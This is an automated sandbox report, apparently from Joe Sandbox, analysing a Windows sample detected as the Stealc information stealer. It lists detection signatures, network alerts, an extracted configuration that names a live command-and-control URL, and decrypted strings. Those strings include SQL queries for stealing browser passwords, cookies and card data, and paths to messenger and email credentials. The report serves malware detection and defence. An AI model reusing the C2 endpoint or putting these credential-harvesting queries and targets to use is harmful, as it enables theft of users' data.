Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1546221
MD5:9ee120f9536a150c01a708c545dfe737
SHA1:e09dd49e147b47b6234a1cceba6c7c1f46cfe562
SHA256:d3cbd6a1899c35e285104442edb74f93eb064d01aff39df137f66fed9448619d
Tags:exeuser-Bitsight
Infos:

Detection

Stealc
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Found malware configuration
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Program does not show much activity (idle)
Queries the volume information (name, serial number etc) of a device
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 3136 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9EE120F9536A150C01A708C545DFE737)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Stealc_1Yara detected StealcJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_StealcYara detected StealcJoe Security
      00000000.00000003.2143190137.0000000004BA0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
        00000000.00000002.2189856639.0000000000F48000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
          Process Memory Space: file.exe PID: 3136JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            Process Memory Space: file.exe PID: 3136JoeSecurity_StealcYara detected StealcJoe Security
              Click to see the 1 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.2.file.exe.5f0000.0.unpackJoeSecurity_StealcYara detected StealcJoe Security

                Sigma Signatures

                ⊘No Sigma rule has matched

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-31T16:35:16.648870+010020229301A Network Trojan was detected4.175.87.197443192.168.2.649752TCP
                2024-10-31T16:35:55.098627+010020229301A Network Trojan was detected4.175.87.197443192.168.2.649941TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-31T16:35:02.626849+010020442431Malware Command and Control Activity Detected192.168.2.649710185.215.113.20680TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: file.exeAvira: detected
                Found malware configuration
                Source: 0.2.file.exe.5f0000.0.unpackMalware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: file.exeJoe Sandbox ML: detected
                Sample uses string decryption to hide its real strings
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: INSERT_KEY_HERE
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 30
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 11
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 20
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 24
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetProcAddress
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: LoadLibraryA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: lstrcatA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: OpenEventA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateEventA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CloseHandle
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Sleep
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetUserDefaultLangID
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: VirtualAllocExNuma
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: VirtualFree
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetSystemInfo
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: VirtualAlloc
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HeapAlloc
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetComputerNameA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: lstrcpyA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetProcessHeap
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetCurrentProcess
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: lstrlenA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ExitProcess
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GlobalMemoryStatusEx
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetSystemTime
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SystemTimeToFileTime
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: advapi32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: gdi32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: user32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: crypt32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ntdll.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetUserNameA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateDCA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetDeviceCaps
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ReleaseDC
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CryptStringToBinaryA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sscanf
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: VMwareVMware
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HAL9TH
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: JohnDoe
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DISPLAY
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %hu/%hu/%hu
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: http://185.215.113.206
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: bksvnsj
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: /6c4adf523b719729.php
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: /746f34465cf17784/
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: tale
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetEnvironmentVariableA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetFileAttributesA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GlobalLock
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HeapFree
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetFileSize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GlobalSize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateToolhelp32Snapshot
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: IsWow64Process
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Process32Next
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetLocalTime
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: FreeLibrary
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetTimeZoneInformation
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetSystemPowerStatus
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetVolumeInformationA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetWindowsDirectoryA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Process32First
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetLocaleInfoA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetUserDefaultLocaleName
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetModuleFileNameA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DeleteFileA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: FindNextFileA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: LocalFree
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: FindClose
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SetEnvironmentVariableA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: LocalAlloc
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetFileSizeEx
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ReadFile
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SetFilePointer
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: WriteFile
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateFileA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: FindFirstFileA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CopyFileA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: VirtualProtect
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetLogicalProcessorInformationEx
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetLastError
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: lstrcpynA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: MultiByteToWideChar
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GlobalFree
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: WideCharToMultiByte
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GlobalAlloc
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: OpenProcess
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: TerminateProcess
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetCurrentProcessId
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: gdiplus.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ole32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: bcrypt.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: wininet.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: shlwapi.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: shell32.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: psapi.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: rstrtmgr.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateCompatibleBitmap
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SelectObject
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BitBlt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DeleteObject
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateCompatibleDC
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipGetImageEncodersSize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipGetImageEncoders
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipCreateBitmapFromHBITMAP
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdiplusStartup
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdiplusShutdown
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipSaveImageToStream
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipDisposeImage
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GdipFree
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetHGlobalFromStream
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CreateStreamOnHGlobal
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CoUninitialize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CoInitialize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CoCreateInstance
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptGenerateSymmetricKey
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptCloseAlgorithmProvider
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptDecrypt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptSetProperty
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptDestroyKey
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: BCryptOpenAlgorithmProvider
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetWindowRect
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetDesktopWindow
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetDC
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CloseWindow
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: wsprintfA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: EnumDisplayDevicesA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetKeyboardLayoutList
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CharToOemW
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: wsprintfW
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RegQueryValueExA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RegEnumKeyExA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RegOpenKeyExA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RegCloseKey
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RegEnumValueA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CryptBinaryToStringA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CryptUnprotectData
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SHGetFolderPathA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ShellExecuteExA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetOpenUrlA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetConnectA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetCloseHandle
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetOpenA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HttpSendRequestA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HttpOpenRequestA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetReadFile
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: InternetCrackUrlA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: StrCmpCA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: StrStrA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: StrCmpCW
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PathMatchSpecA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: GetModuleFileNameExA
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RmStartSession
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RmRegisterResources
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RmGetList
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: RmEndSession
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_open
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_prepare_v2
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_step
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_column_text
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_finalize
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_close
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_column_bytes
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: sqlite3_column_blob
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: encrypted_key
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PATH
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: C:\ProgramData\nss3.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: NSS_Init
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: NSS_Shutdown
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PK11_GetInternalKeySlot
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PK11_FreeSlot
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PK11_Authenticate
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: PK11SDR_Decrypt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: C:\ProgramData\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT origin_url, username_value, password_value FROM logins
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: browser:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: profile:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: url:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: login:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: password:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Opera
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: OperaGX
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Network
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: cookies
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: .txt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: TRUE
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: FALSE
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: autofill
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT name, value FROM autofill
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: history
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT url FROM urls LIMIT 1000
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: cc
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: name:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: month:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: year:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: card:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Cookies
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Login Data
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Web Data
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: History
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: logins.json
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: formSubmitURL
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: usernameField
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: encryptedUsername
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: encryptedPassword
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: guid
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT fieldname, value FROM moz_formhistory
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SELECT url FROM moz_places LIMIT 1000
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: cookies.sqlite
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: formhistory.sqlite
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: places.sqlite
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: plugins
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Local Extension Settings
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Sync Extension Settings
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: IndexedDB
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Opera Stable
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Opera GX Stable
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: CURRENT
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: chrome-extension_
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: _0.indexeddb.leveldb
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Local State
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: profiles.ini
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: chrome
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: opera
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: firefox
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: wallets
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %08lX%04lX%lu
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ProductName
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: x32
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: x64
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %d/%d/%d %d:%d:%d
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: ProcessorNameString
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DisplayName
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: DisplayVersion
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Network Info:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - IP: IP?
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Country: ISO?
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: System Summary:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - HWID:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - OS:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Architecture:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - UserName:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Computer Name:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Local Time:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - UTC:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Language:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Keyboards:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Laptop:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Running Path:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - CPU:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Threads:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Cores:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - RAM:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - Display Resolution:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: - GPU:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: User Agents:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Installed Apps:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: All Users:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Current User:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Process List:
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: system_info.txt
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: freebl3.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: mozglue.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: msvcp140.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: nss3.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: softokn3.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: vcruntime140.dll
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Temp\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: .exe
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: runas
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: open
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: /c start
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %DESKTOP%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %APPDATA%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %LOCALAPPDATA%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %USERPROFILE%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %DOCUMENTS%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %PROGRAMFILES%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %PROGRAMFILES_86%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: %RECENT%
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: *.lnk
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: files
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \discord\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Local Storage\leveldb\CURRENT
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Local Storage\leveldb
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: \Telegram Desktop\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: key_datas
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: D877F783D5D3EF8C*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: map*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: A7FDF864FBC10B77*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: A92DAA6EA6F891F2*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: F8806DD0C461824F*
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Telegram
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Tox
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: *.tox
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: *.ini
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Password
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.5f0000.0.unpackString decryptor: 00000001
